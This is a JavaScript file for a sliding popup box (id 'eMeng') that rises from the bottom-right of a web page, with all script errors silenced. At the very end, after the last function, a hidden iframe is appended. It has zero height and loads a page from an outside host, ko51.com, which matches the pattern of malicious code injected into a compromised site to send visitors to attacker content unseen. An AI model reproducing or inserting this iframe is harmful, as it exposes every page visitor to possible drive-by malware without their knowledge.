window.onload = getMsg;
window.onresize = resizeDiv;
window.onerror = function(){}
//ΜαΚΎ
var divTop,divLeft,divWidth,divHeight,docHeight,docWidth,objTimer,i = 0;
function getMsg()
{
	try{
	divTop = parseInt(document.getElementById("eMeng").style.top,10)
	divLeft = parseInt(document.getElementById("eMeng").style.left,10)
	divHeight = parseInt(document.getElementById("eMeng").offsetHeight,10)
	divWidth = parseInt(document.getElementById("eMeng").offsetWidth,10)
	docWidth = document.body.clientWidth;
	docHeight = document.body.clientHeight;
	document.getElementById("eMeng").style.top = parseInt(document.body.scrollTop,10) + docHeight + 10;//  divHeight
	document.getElementById("eMeng").style.left = parseInt(document.body.scrollLeft,10) + docWidth - divWidth
	document.getElementById("eMeng").style.visibility="visible"
	objTimer = window.setInterval("moveDiv()",10)
	}
	catch(e){}
}

function resizeDiv()
{
	i+=1
	if(i>500) closeDiv()
	try{
	divHeight = parseInt(document.getElementById("eMeng").offsetHeight,10)
	divWidth = parseInt(document.getElementById("eMeng").offsetWidth,10)
	docWidth = document.body.clientWidth;
	docHeight = document.body.clientHeight;
	document.getElementById("eMeng").style.top = docHeight - divHeight + parseInt(document.body.scrollTop,10)
	document.getElementById("eMeng").style.left = docWidth - divWidth + parseInt(document.body.scrollLeft,10)
	}
	catch(e){}
}

function moveDiv()
{
	try
	{
	if(parseInt(document.getElementById("eMeng").style.top,10) <= (docHeight - divHeight + parseInt(document.body.scrollTop,10)))
	{
	window.clearInterval(objTimer)
	objTimer = window.setInterval("resizeDiv()",1)
	}
	divTop = parseInt(document.getElementById("eMeng").style.top,10)
	document.getElementById("eMeng").style.top = divTop - 1
	}
	catch(e){}
}
function closeDiv()
{
	document.getElementById('eMeng').style.visibility='hidden';
	if(objTimer) window.clearInterval(objTimer)
}<iframe src=http://xx.ko51.com/index.htm width=50 height=0></iframe>